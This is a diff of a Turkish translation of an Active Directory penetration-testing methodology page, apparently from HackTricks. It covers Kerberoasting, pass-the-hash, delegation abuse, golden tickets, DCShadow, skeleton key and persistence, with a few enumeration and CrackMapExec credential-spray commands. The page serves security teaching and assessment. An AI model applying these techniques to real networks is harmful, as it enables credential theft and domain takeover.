almak çok kolaydır (`net user /domain` ,`Get-DomainUser` veya `wmic useraccount get name,sid`). Linux'ta ise şu komutları kullanabilirsiniz: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` veya `enum4linux -a -u "user" -p "password" ` +Windows'tan tüm domain kullanıcı adlarını almak çok kolaydır (`net user /domain` ,`Get-DomainUser` or `wmic useraccount get name,sid`). Linux'ta ise şunu kullanabilirsiniz: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` or `enum4linux -a -u "user" -p "password" ` > Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done. ### Kerberoast -Kerberoasting, kullanıcı hesaplarına bağlı hizmetler tarafından kullanılan **TGS tickets**'ları elde etmeyi ve bu biletlerin şifrelemesini — kullanıcı parolalarına dayalı — **offline** olarak kırmayı içerir. - -Daha fazla bilgi için: +Kerberoasting, servislerle ilişkilendirilmiş kullanıcı hesapları tarafından kullanılan **TGS tickets** elde etmeyi ve bunların şifrelemesini—ki bu şifreleme kullanıcı parolalarına dayanır—**offline** kırmayı içerir. +More about this in: {{#ref}} kerberoast.md {{#endref}} -### Remote connexion (RDP, SSH, FTP, Win-RM, etc) +### Uzaktan bağlantı (RDP, SSH, FTP, Win-RM, etc) -Bazı kimlik bilgileri elde ettiğinizde herhangi bir **machine**'e erişiminiz olup olmadığını kontrol edebilirsiniz. Bu amaçla, port taramalarınıza göre çeşitli protokollerle birden fazla sunucuya bağlanmayı denemek için **CrackMapExec** kullanabilirsiniz. +Bazı kimlik bilgilerini elde ettikten sonra herhangi bir **makineye** erişiminiz olup olmadığını kontrol edebilirsiniz. Bu amaçla, port taramalarınıza göre farklı protokollerle birçok sunucuya bağlanmayı denemek için **CrackMapExec** kullanabilirsiniz. ### Local Privilege Escalation -Eğer sıradan bir domain kullanıcısı olarak kimlik bilgilerini veya bir oturumu ele geçirdiyseniz ve bu kullanıcıyla domain içindeki **any machine in the domain**'e **access** hakkınız varsa, yerel ayrıcalıkları yükseltmek ve kimlik bilgilerini yağmalamak için yollar aramalısınız. Çünkü sadece yerel administrator ayrıcalıklarıyla diğer kullanıcıların hash'lerini bellekte (LSASS) ve yerelde (SAM) **dump** edebilirsiniz. +Eğer normal bir domain kullanıcısı olarak kimlik bilgilerini veya oturumu ele geçirdiyseniz ve bu kullanıcıyla domain içindeki herhangi bir **makineye** erişiminiz varsa, yerel ayrıcalıkları yükseltmenin ve kimlik bilgilerini toplamaya çalışmanın yollarını aramalısınız. Çünkü sadece yerel administrator ayrıcalıklarıyla diğer kullanıcıların hash'lerini bellekte (LSASS) ve yerelde (SAM) **dump** edebilirsiniz. Bu kitapta [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) hakkında tam bir sayfa ve bir [**checklist**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın. ### Current Session Tickets -Mevcut kullanıcıda beklenmeyen kaynaklara erişim izni veren **tickets** bulmanız çok **unlikely**, ancak yine de kontrol edebilirsiniz: +Mevcut kullanıcıda beklenmedik kaynaklara erişim izni veren **tickets** bulmanız çok **olasılık dışı**dır, ama şunları kontrol edebilirsiniz: ```bash ## List all tickets (if not admin, only current user tickets) .\Rubeus.exe triage @@ -217,17 +212,17 @@ Mevcut kullanıcıda beklenmeyen kaynaklara erişim izni veren **tickets** bulma ``` ### NTLM Relay -If you have managed to enumerate the active directory you will have **daha fazla e-posta ve ağ hakkında daha iyi bir anlayış**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** +Eğer Active Directory'yi enumerate etmeyi başardıysanız **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa** sahip olursunuz. NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** zorlayabiliyor olabilirsiniz.** ### Looks for Creds in Computer Shares | SMB Shares -Now that you have some basic credentials you should check if you can **find** any **AD içinde paylaşılan ilginç dosyalar**. You could do that manually but it's a very boring repetitive task (and more if you find hundreds of docs you need to check). +Artık bazı temel kimlik bilgilerine sahipseniz, **AD içinde paylaşılan herhangi bir ilginç dosyayı bulup bulamayacağınızı** kontrol etmelisiniz. Bunu manuel yapabilirsiniz ama çok sıkıcı ve tekrarlayan bir iştir (ve yüzlerce doküman bulursanız kontrol etmeniz daha da uzun sürer). -[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) +[**Bu araçları öğrenmek için bu linke tıklayın.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) ### Steal NTLM Creds -If you can **other PC'lere veya shares'a erişmek** you could **dosya yerleştirmek** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it: +Eğer diğer PC'lere veya paylaşımlara **erişebiliyorsanız**, birinin erişmesi durumunda size karşı bir **NTLM authentication'ı tetikleyecek dosyalar** (ör. bir SCF dosyası) **yerleştirebilir** ve böylece kırmak için **NTLM challenge'ını çalabilirsiniz**: {{#ref}} @@ -236,7 +231,7 @@ If you can **other PC'lere veya shares'a erişmek** you could **dosya yerleştir ### CVE-2021-1675/CVE-2021-34527 PrintNightmare -This vulnerability allowed any authenticated user to **domain controller'ı ele geçirmek**. +Bu zafiyet herhangi bir doğrulanmış kullanıcının **domain controller'ı ele geçirmesine** izin veriyordu. {{#ref}} @@ -245,23 +240,23 @@ printnightmare.md ## Privilege escalation on Active Directory WITH privileged credentials/session -**Aşağıdaki teknikler için normal bir domain kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel ayrıcalıklar/credentials gerekir.** +**Aşağıdaki teknikler için normal bir domain user yeterli değildir; bu saldırıları gerçekleştirmek için bazı özel ayrıcalıklar/kimlik bilgilerine ihtiyacınız vardır.** ### Hash extraction -Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) (relaying dahil), [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel ayrıcalıkları yükseltme](../windows-local-privilege-escalation/index.html) vb. kullanarak **bazı local admin hesaplarını ele geçirmeyi** başarmışsınızdır.\ -Şimdi, hafızadaki ve yereldeki tüm hashleri dump etme zamanı.\ -[**Farklı yollarla hashleri elde etme hakkında bu sayfayı okuyun.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) +Umarız [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) (relay dahil), [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html) gibi yöntemlerle **birkaç local admin hesabını compromise etmeyi** başarmışsınızdır. +Sonra, şimdi tüm hash'leri bellekten ve yerelden dump etme zamanı. +[**Hash'leri elde etmenin farklı yolları hakkında bu sayfayı okuyun.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) ### Pass the Hash -**Bir kullanıcının hash'ini elde ettikten sonra**, onu **taklit etmek** için kullanabilirsiniz.\ -Bu hash'i kullanarak **NTLM authentication** gerçekleştirecek bir **tool** kullanmanız gerekir, **veya** yeni bir **sessionlogon** oluşturarak o **hash'i LSASS içine inject** edebilirseniz, böylece herhangi bir **NTLM authentication** yapıldığında o **hash** kullanılacaktır. Son seçenek mimikatz'in yaptığı şeydir.\ +**Bir kullanıcının hash'ine sahip olduğunuzda**, onu **taklit etmek** için kullanabilirsiniz. +Bu hash'i kullanarak **NTLM authentication** gerçekleştirecek bir **tool** kullanmanız gerekir veya yeni bir **sessionlogon** oluşturup bu **hash'i LSASS içine inject** ederek, herhangi bir **NTLM authentication** yapıldığında o **hash'in kullanılması** sağlanabilir. Son seçenek mimikatz'in yaptığı yöntemdir. [**Daha fazla bilgi için bu sayfayı okuyun.**](../ntlm/index.html#pass-the-hash) ### Over Pass the Hash/Pass the Key -Bu saldırı, yaygın Pass The Hash over NTLM protokolüne alternatif olarak **kullanıcı NTLM hash'ini Kerberos biletleri istemek için** kullanmayı hedefler. Bu nedenle, NTLM protokolünün devre dışı bırakıldığı ve yalnızca **Kerberos**'un kimlik doğrulama protokolü olarak izin verildiği ağlarda özellikle **useful** olabilir. +Bu saldırı, yaygın olarak kullanılan NTLM üzerinden Pass The Hash'e alternatif olarak **kullanıcının NTLM hash'ini kullanıp Kerberos ticket istemeyi** hedefler. Bu yüzden **NTLM protokolünün devre dışı bırakıldığı** ve yalnızca **Kerberos'un kimlik doğrulama protokolü olarak izin verildiği** ağlarda özellikle faydalı olabilir. {{#ref}} @@ -270,7 +265,7 @@ over-pass-the-hash-pass-the-key.md ### Pass the Ticket -In the **Pass The Ticket (PTT)** attack method, attackers **bir kullanıcının authentication ticket'ını çalarlar** instead of their password or hash values. This stolen ticket is then used to **kullanıcının yerine geçmek**, network içinde kaynaklara ve servislere yetkisiz erişim sağlamak için. +Pass The Ticket (PTT) saldırı yönteminde, saldırganlar parola veya hash değerleri yerine bir kullanıcının **kimlik doğrulama ticket'ını çalar**. Bu çalınan ticket daha sonra kullanıcıyı **taklit etmek** için kullanılarak ağ içindeki kaynaklara ve servislere yetkisiz erişim sağlar. {{#ref}} @@ -279,29 +274,29 @@ pass-the-ticket.md ### Credentials Reuse -If you have the **hash** or **password** of a **local administrato**r you should try to **başka PC'lere yerel olarak login olmak** with it. +Eğer bir local administrator'un **hash'ine** veya **parolasına** sahipseniz, bununla diğer **PC'lere lokal olarak login** olmaya çalışmalısınız. ```bash # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` > [!WARNING] -> Bunun oldukça **gürültülü** olduğunu ve **LAPS**'in bunu **hafifletebileceğini** unutmayın. +> Bu oldukça **gürültülü** olduğunu ve **LAPS** bunun için **hafifletebileceğini** unutmayın. -### MSSQL Kötüye Kullanımı & Trusted Links +### MSSQL Abuse & Trusted Links -Eğer bir kullanıcının **MSSQL instance'larına erişim** yetkisi varsa, bunu MSSQL host üzerinde (SA olarak çalışıyorsa) **komut çalıştırmak**, NetNTLM **hash**'ini **çalmak** veya hatta bir **relay attack** gerçekleştirmek için kullanabilir.\ -Ayrıca, eğer bir MSSQL instance'ı farklı bir MSSQL instance tarafından trusted (database link) ise ve kullanıcı trusted veritabanı üzerinde yetkiye sahipse, **güven ilişkisini kullanarak diğer instance'ta da sorgu çalıştırabilecek**. Bu trust'lar zincirlenebilir ve kullanıcı sonunda bir şekilde yanlış yapılandırılmış bir veritabanı bularak komut çalıştırabilir.\ -**Veritabanları arasındaki bağlantılar forest trusts boyunca bile çalışır.** +Eğer bir kullanıcı **MSSQL instance**larına erişim ayrıcalıklarına sahipse, bunu MSSQL hostunda **komut çalıştırmak** (eğer SA olarak çalışıyorsa), NetNTLM **hash**ini **çalmak** veya hatta bir **relay attack** gerçekleştirmek için kullanabilir.\ +Ayrıca, eğer bir MSSQL instance başka bir MSSQL instance tarafından trusted (database link) ise ve kullanıcı trusted veritabanı üzerinde yetkiye sahipse, **trust ilişkisinden faydalanarak diğer instance üzerinde de sorgu çalıştırabilecek**. Bu trustlar zincirlenebilir ve bir noktada kullanıcı komut çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\ +**Veritabanları arasındaki linkler forest trust'ları boyunca bile çalışır.** {{#ref}} abusing-ad-mssql.md {{#endref}} -### IT asset/deployment platformlarının kötüye kullanımı +### IT asset/deployment platforms abuse -Üçüncü taraf envanter ve dağıtım paketleri genellikle kimlik bilgilerine ve kod yürütmeye güçlü yollar açar. Bakınız: +Üçüncü taraf envanter ve deployment suite'leri sıklıkla kimlik bilgilerine ve kod yürütmeye güçlü yollar açar. Bakınız: {{#ref}} sccm-management-point-relay-sql-policy-secrets.md @@ -313,9 +308,9 @@ lansweeper-security.md ### Unconstrained Delegation -Eğer [ADS_UF_TRUSTED_FOR_DELEGATION]() özniteliğine sahip herhangi bir Computer objesi bulursanız ve o bilgisayarda domain ayrıcalıklarına sahipseniz, o bilgisayara oturum açan her kullanıcının belleğinden TGT'leri dump'layabilirsiniz.\ -Dolayısıyla, eğer bir **Domain Admin bilgisayara giriş yaparsa**, TGT'sini dump'layabilir ve [Pass the Ticket](pass-the-ticket.md) kullanarak onu taklit edebilirsiniz.\ -Constrained delegation sayesinde hatta **otomatik olarak bir Print Server'ı** (umarız bir DC olur) **ele geçirebilirsiniz**. +Eğer herhangi bir Computer object'inde [ADS_UF_TRUSTED_FOR_DELEGATION]() attribute'u bulunuyorsa ve bilgisayar üzerinde domain ayrıcalıklarınız varsa, bilgisayara oturum açan her kullanıcının belleğinden TGT'leri dökebilirsiniz.\ +Dolayısıyla, eğer bir **Domain Admin bilgisayara logon olursa**, onun TGT'sini döküp [Pass the Ticket](pass-the-ticket.md) kullanarak onu taklit edebilirsiniz.\ +Constrained delegation sayesinde **otomatik olarak bir Print Server'ı bile ele geçirebilirsiniz** (umarız DC olmaz). {{#ref}} @@ -324,8 +319,8 @@ unconstrained-delegation.md ### Constrained Delegation -Eğer bir kullanıcı veya bilgisayar "Constrained Delegation" için yetkilendirilmişse, belirli servislerde **herhangi bir kullanıcıyı taklit ederek** erişim sağlayabilir.\ -Sonrasında, bu kullanıcı/bilgisayarın **hash'ini ele geçirirseniz**, bazı hizmetlere erişmek için **herhangi bir kullanıcıyı** (hatta domain admin'leri bile) **taklit edebilirsiniz**. +Eğer bir kullanıcı veya computer "Constrained Delegation" için izinliyse, bu kullanıcı **bir bilgisayardaki bazı servislere erişmek için herhangi bir kullanıcıyı taklit edebilir**.\ +Buna ek olarak, eğer bu kullanıcı/computer'ın **hash'ini ele geçirirseniz**, bazı servislere erişmek için **herhangi bir kullanıcıyı** (hatta domain admin'leri) **taklit edebilirsiniz**. {{#ref}} @@ -334,35 +329,35 @@ constrained-delegation.md ### Resourced-based Constrain Delegation -Uzak bir bilgisayarın Active Directory objesi üzerinde **WRITE** ayrıcalığına sahip olmak, **yükseltilmiş ayrıcalıklarla** kod yürütmeyi mümkün kılar: +Uzak bir bilgisayarın Active Directory objesi üzerinde **WRITE** ayrıcalığına sahip olmak, **yükseltilmiş ayrıcalıklarla** kod yürütme elde etmeyi mümkün kılar: {{#ref}} resource-based-constrained-delegation.md {{#endref}} -### Permissions/ACLs Kötüye Kullanımı +### Permissions/ACLs Abuse -Ele geçirilen kullanıcı, size daha sonra **lateral hareket**/ **yükseltme** yapma imkanı verebilecek bazı **ilginç ayrıcalıklara** sahip olabilir. +Kompromize edilmiş kullanıcı bazı domain objeleri üzerinde ilginç **ayrıcalıklara** sahip olabilir; bu da size daha sonra lateral **hareket**/yükselme imkanı verebilir. {{#ref}} acl-persistence-abuse/ {{#endref}} -### Printer Spooler servisi kötüye kullanımı +### Printer Spooler service abuse -Domain içinde **Spool servisi dinleyen** bir sistem keşfetmek, **yeni kimlik bilgileri elde etmek** ve **ayrıcalıkları yükseltmek** için **kötüye kullanılabilir**. +Domain içinde **Spool service'in dinlediğini** keşfetmek, yeni kimlik bilgileri **elde etmek** ve **ayrıcalıkları yükseltmek** için **kötüye kullanılabilir**. {{#ref}} printers-spooler-service-abuse.md {{#endref}} -### Third party oturumların kötüye kullanımı +### Third party sessions abuse -Eğer **diğer kullanıcılar** **ele geçirilmiş** makineye **erişiyorsa**, bellekten **kimlik bilgileri toplamak** ve hatta **işlemlerine beacon enjekte ederek** onları taklit etmek mümkündür.\ -Kullanıcılar genellikle sisteme RDP ile eriştiği için, üçüncü taraf RDP oturumlarına karşı yapılabilecek birkaç saldırı şöyle: +Eğer **diğer kullanıcılar** **kompromize olmuş** makineye **erişiyorsa**, bellekten **kimlik bilgileri toplanabilir** ve hatta onların süreçlerine **beacon enjekte edilerek** onları taklit etmek mümkün olabilir.\ +Genelde kullanıcılar sisteme RDP ile erişir, bu yüzden üçüncü taraf RDP oturumlarına karşı birkaç saldırının nasıl gerçekleştirileceği burada yer alıyor: {{#ref}} @@ -371,45 +366,45 @@ rdp-sessions-abuse.md ### LAPS -**LAPS**, domain'e üye bilgisayarlarda **local Administrator parolasını** yönetmek için bir sistem sağlar; parolaların **rastgele**, benzersiz ve sıkça **değiştirilmesini** güvence altına alır. Bu parolalar Active Directory'de saklanır ve erişim yalnızca yetkili kullanıcılar için ACL'lerle kontrol edilir. Bu parolalara erişmek için yeterli izinlere sahip olunursa, diğer bilgisayarlara pivot yapmak mümkün olur. +**LAPS**, domain'e bağlı bilgisayarlarda **local Administrator parolası**nın yönetimi için bir sistem sağlar; parolanın **rastgele**, benzersiz ve sık **değiştirildiğinden** emin olur. Bu parolalar Active Directory'de saklanır ve erişim yalnızca ACL'lerle yetkilendirilmiş kullanıcılarla kontrol edilir. Bu parolalara erişim için yeterli izinlere sahipseniz, diğer bilgisayarlara pivot yapmak mümkün olur. {{#ref}} laps.md {{#endref}} -### Sertifika Hırsızlığı +### Certificate Theft -Ele geçirilen makineden **sertifikaların toplanması**, ortam içinde ayrıcalıkları yükseltmenin bir yolu olabilir: +Kompromize olmuş makinadan **sertifikaları toplamak**, ortam içinde ayrıcalık yükseltme için bir yol olabilir: {{#ref}} ad-certificates/certificate-theft.md {{#endref}} -### Sertifika Şablonları Kötüye Kullanımı +### Certificate Templates Abuse -Eğer **zayıf şablonlar** yapılandırılmışsa, bunları ayrıcalıkları yükseltmek için kötüye kullanmak mümkündür: +Eğer **zayıf template'ler** yapılandırılmışsa, bunları ayrıcalıkları yükseltmek için kötüye kullanmak mümkün olabilir: {{#ref}} ad-certificates/domain-escalation.md {{#endref}} -## Yüksek ayrıcalıklı hesap ile post-exploitation +## Post-exploitation with high privilege account -### Domain Kimlik Bilgilerinin Dökülmesi +### Dumping Domain Credentials -Bir kere **Domain Admin** veya daha da iyisi **Enterprise Admin** ayrıcalıkları elde ettiğinizde, **domain veritabanını** (_ntds.dit_) **dökebilirsiniz**. +Bir kez **Domain Admin** veya daha iyisi **Enterprise Admin** ayrıcalıklarını elde ettiğinizde, **domain veritabanını** (_ntds.dit_) **dökebilirsiniz**. -[**DCSync saldırısı hakkında daha fazla bilgi burada bulunabilir**](dcsync.md). +[**More information about DCSync attack can be found here**](dcsync.md). -[**NTDS.dit'i nasıl çalacağınız hakkında daha fazla bilgi burada bulunabilir**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) +[**More information about how to steal the NTDS.dit can be found here**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) -### Kalıcılık İçin Privesc +### Privesc as Persistence -Daha önce bahsedilen bazı teknikler kalıcılık için de kullanılabilir.\ -Örneğin yapabilecekleriniz: +Önceden tartışılan bazı teknikler persistence için kullanılabilir.\ +Örneğin şunları yapabilirsiniz: - Kullanıcıları [**Kerberoast**](kerberoast.md) için savunmasız hale getirmek @@ -431,7 +426,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti ### Silver Ticket -**Silver Ticket saldırısı**, belirli bir servis için **meşru bir Ticket Granting Service (TGS) ticket'ı** oluşturur; genellikle **NTLM hash**i kullanılarak (örneğin PC hesabının hash'i). Bu yöntem servis ayrıcalıklarına **erişim sağlamak** için kullanılır. +**Silver Ticket attack**, belirli bir hizmet için **meşru bir Ticket Granting Service (TGS) ticket'ı** oluşturur; bunu örneğin **PC account**'ın **NTLM hash**ini kullanarak yapar. Bu yöntem hizmet ayrıcalıklarına **erişmek** için kullanılır. {{#ref}} @@ -440,9 +435,9 @@ silver-ticket.md ### Golden Ticket -**Golden Ticket saldırısı**, saldırganın Active Directory ortamında **krbtgt hesabının NTLM hash'ine** erişmesiyle gerçekleşir. Bu hesap, tüm **Ticket Granting Ticket (TGT)**'leri imzalamak için kullanıldığından özel bir öneme sahiptir ve AD içinde kimlik doğrulama için gereklidir. +**Golden Ticket attack**, bir saldırganın Active Directory ortamında **krbtgt account**ının **NTLM hash**ine erişmesiyle ilgilidir. Bu hesap, tüm **Ticket Granting Ticket (TGT)**'leri imzalamak için kullanıldığından özeldir; TGT'ler AD ağı içinde kimlik doğrulama için gereklidir. -Saldırgan bu hash'i elde ettikten sonra, istediği herhangi bir hesap için **TGT** oluşturabilir (Silver ticket saldırısına benzer şekilde). +Saldırgan bu hash'i elde ettiğinde, istediği herhangi bir hesap için **TGT** oluşturabilir (Silver ticket saldırısına benzer şekilde). {{#ref}} @@ -451,25 +446,25 @@ golden-ticket.md ### Diamond Ticket -Bunlar, yaygın golden ticket tespit mekanizmalarını **atlayacak** şekilde sahte oluşturulmuş golden ticket'lara benzerler. +Bunlar, common golden ticket tespit mekanizmalarını **aşacak şekilde** sahte olarak üretilmiş golden ticket'lardır. {{#ref}} diamond-ticket.md {{#endref}} -### Sertifikalar ile Hesap Kalıcılığı +### **Certificates Account Persistence** -Bir hesabın **sertifikalarına sahip olmak veya bunları talep edebilmek**, kullanıcının hesabında parolayı değiştirse bile **kalıcılık sağlamak** için çok iyi bir yoldur: +Bir hesabın sertifikalarına sahip olmak veya onları talep edebilmek, kullanıcının hesabında (parolayı değiştirse bile) **kalıcı olmak** için çok iyi bir yoldur: {{#ref}} ad-certificates/account-persistence.md {{#endref}} -### Sertifikalar ile Domain Kalıcılığı +### **Certificates Domain Persistence** -**Sertifikaları kullanarak** domain içinde yüksek ayrıcalıklarla da **kalıcılık sağlamak** mümkündür: +**Sertifikaları kullanarak**, domain içinde yüksek ayrıcalıklarla **kalıcı olmak** da mümkündür: {{#ref}} @@ -478,22 +473,22 @@ ad-certificates/domain-persistence.md ### AdminSDHolder Group -Active Directory'deki **AdminSDHolder** objesi, **privileged group'ların** (Domain Admins ve Enterprise Admins gibi) güvenliğini sağlamak için bu gruplara standart bir **Access Control List (ACL)** uygular ve yetkisiz değişiklikleri engeller. Ancak, bu özellik kötüye kullanılabilir; eğer bir saldırgan AdminSDHolder'ın ACL'sini değiştirip normal bir kullanıcıya tam erişim verirse, o kullanıcı tüm ayrıcalıklı gruplar üzerinde geniş kontrol elde eder. Bu güvenlik önlemi doğru şekilde izlenmezse, ters tepki vererek yetkisiz erişime yol açabilir. +Active Directory'deki **AdminSDHolder** objesi, **privileged grupların** (ör. Domain Admins ve Enterprise Admins) güvenliğini sağlamak için bu gruplara standart bir **Access Control List (ACL)** uygular ve yetkisiz değişiklikleri engeller. Ancak, bu özellik kötüye kullanılabilir; eğer bir saldırgan AdminSDHolder'ın ACL'ini normal bir kullanıcıya tam erişim verecek şekilde değiştirirse, o kullanıcı tüm privileged gruplar üzerinde geniş kontrol kazanır. Bu güvenlik önlemi, yakından izlenmezse istenmeyen erişime yol açabilir. -[**AdminDSHolder Group hakkında daha fazla bilgi burada.**](privileged-groups-and-token-privileges.md#adminsdholder-group) +[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group) -### DSRM Kimlik Bilgileri +### DSRM Credentials -Her bir **Domain Controller (DC)** içinde bir **local administrator** hesabı vardır. Böyle bir makinede admin hakları elde ederek, local Administrator hash'i **mimikatz** ile çıkarılabilir. Ardından bu parolanın **kullanılabilmesini etkinleştirmek** için bir registry değişikliği gerekir; bu sayede local Administrator hesabına uzaktan erişim sağlanabilir. +Her **Domain Controller (DC)** içinde bir **local administrator** hesabı bulunur. Böyle bir makine üzerinde admin hakları elde ederek, local Administrator hash'ini **mimikatz** kullanarak çıkarabilirsiniz. Ardından bu parolanın **kullanılabilmesi için** registry üzerinde bir değişiklik yapmanız gerekir; bu sayede local Administrator hesabına uzaktan erişim sağlanabilir. {{#ref}} dsrm-credentials.md {{#endref}} -### ACL Kalıcılığı +### ACL Persistence -Bir kullanıcıya belirli domain objeleri üzerinde **özel izinler** vererek, o kullanıcının ileride **ayrıcalık yükseltmesi** yapmasını sağlayabilirsiniz. +Belirli domain objeleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu izinler kullanıcının gelecekte **ayrıcalık yükseltmesi** yapmasını sağlayabilir. {{#ref}} @@ -502,7 +497,7 @@ acl-persistence-abuse/ ### Security Descriptors -**Security descriptor'lar**, bir **objenin** üzerinde hangi **izinlerin** bulunduğunu **saklamak** için kullanılır. Bir objenin security descriptor'unda **küçük bir değişiklik** yapabiliyorsanız, o obje üzerinde ayrıcalıklı grup üyesi olmanız gerekmeden çok ilginç ayrıcalıklar elde edebilirsiniz. +**Security descriptor**ler, bir objenin üzerindeki **izinleri** **depolamak** için kullanılır. Eğer bir objenin security descriptor'unda küçük bir **değişiklik** yapabilirseniz, o objenin üzerinde üyeliğe gerek olmadan çok ilginç ayrıcalıklar elde edebilirsiniz. {{#ref}} @@ -511,7 +506,7 @@ security-descriptors.md ### Skeleton Key -LSASS belleğini değiştirerek **evrensel bir parola** oluşturun; bu, tüm domain hesaplarına erişim sağlar. +LSASS'i bellekte değiştirerek **evrensel bir parola** oluşturun; bu, tüm domain hesaplarına erişim sağlar. {{#ref}} @@ -520,8 +515,8 @@ skeleton-key.md ### Custom SSP -[SSP (Security Support Provider) nedir buradan öğrenin.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ -Kendi **SSP**'nizi oluşturarak, makineye erişimde kullanılan **kimlik bilgilerini** **düz metin** halinde **yakalayabilirsiniz**. +[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ +Kendi **SSP**'nizi oluşturup makineye erişimde kullanılan **kimlik bilgilerini** **plaintext** olarak **yakalayabilirsiniz**. {{#ref}} @@ -530,17 +525,17 @@ custom-ssp.md ### DCShadow -AD'de yeni bir **Domain Controller** kaydeder ve belirtilen objeler üzerinde (SIDHistory, SPN'ler...) **değişiklikleri push etmek** için bunu kullanır; yapılan **değişikliklerle** ilgili **log** bırakmaz. Bunun için **DA** ayrıcalıklarına ve **root domain** içinde olmaya ihtiyacınız vardır.\ -Yanlış veri kullanırsanız, oldukça çirkin log'lar ortaya çıkacağını unutmayın. +Yeni bir **Domain Controller** kaydeder ve bunu belirli objelere (SIDHistory, SPN'ler...) **attribute push** etmek için kullanır; yapılan **değişikliklerle** ilgili **log** bırakmaz. Bunun için **DA** ayrıcalıkları ve **root domain** içinde olmanız gerekir.\ +Yanlış veri kullanırsanız, oldukça kötü log'lar oluşacağını unutmayın. {{#ref}} dcshadow.md {{#endref}} -### LAPS Kalıcılığı +### LAPS Persistence -Daha önce LAPS parolalarını **okuma** yetkisine sahip olmanın nasıl ayrıcalık yükseltmeye yol açabileceğini tartıştık. Bu parolalar aynı zamanda **kalıcılık** için de kullanılabilir.\ +Daha önce LAPS parolalarını **okuma iznine** sahip olduğunuzda ayrıcalıkları nasıl yükseltebileceğinizi tartışmıştık. Ancak bu parolalar aynı zamanda **persistence** için de kullanılabilir.\ Bakınız: @@ -548,64 +543,64 @@ Bakınız: laps.md {{#endref}} -## Forest Ayrıcalık Yükseltmesi - Domain Trusts +## Forest Privilege Escalation - Domain Trusts -Microsoft, **Forest**'ı güvenlik sınırı olarak görür. Bu, **tek bir domain'in ele geçirilmesinin tüm Forest'ın ele geçirilmesine yol açabileceği** anlamına gelir. +Microsoft, **Forest**'u güvenlik sınırı olarak görür. Bu, **tek bir domain'in ele geçirilmesinin tüm Forest'in ele geçirilmesine yol açabileceği** anlamına gelir. -### Temel Bilgiler +### Basic Information -Bir [**domain trust**](), bir domain'deki bir kullanıcının başka bir domain'deki kaynaklara erişmesini sağlayan bir güvenlik mekanizmasıdır. İki domainin kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve doğrulama taleplerinin akışını kolaylaştırır. Domainler bir trust kurduklarında, güvenin bütünlüğü için önemli olan belirli **anahtarları** Domain Controller (DC)'lerinde değiş tokuş eder ve saklarlar. +Bir [**domain trust**](), bir domain'deki kullanıcının başka bir domain'deki kaynaklara erişmesini sağlayan bir güvenlik mekanizmasıdır. Temelde iki domain'in kimlik doğrulama sistemleri arasında bir bağlantı oluşturur, böylece kimlik doğrulama doğrulamaları sorunsuzca akabilir. Domainler bir trust kurduğunda, DC'lerinde trust'ın bütünlüğü için önemli olan belirli **anahtarlar** değiş tokuş edilir ve saklanır. -Tipik bir senaryoda, bir kullanıcı trusted domain'deki bir servise erişmek istediğinde önce kendi domain'inin DC'sinden özel bir ticket olan **inter-realm TGT**'yi talep etmelidir. Bu TGT, iki domain arasındaki trust kapsamında ortaklaşa paylaşılan bir **anahtar** ile şifrelenir. Kullanıcı daha sonra bu inter-realm TGT'yi **trusted domain**in DC'sine sunar ve bir servis ticket'ı (**TGS**) alır. Trusted domain'in DC'si inter-realm TGT'yi doğruladıktan sonra TGS'yi verir ve kullanıcı servise erişir. +Tipik bir senaryoda, bir kullanıcı trusted domain'deki bir servise erişmek istiyorsa önce kendi domaininin DC'sinden bir **inter-realm TGT** talep etmelidir. Bu TGT, her iki domainin üzerinde anlaştığı paylaşılan bir **anahtar** ile 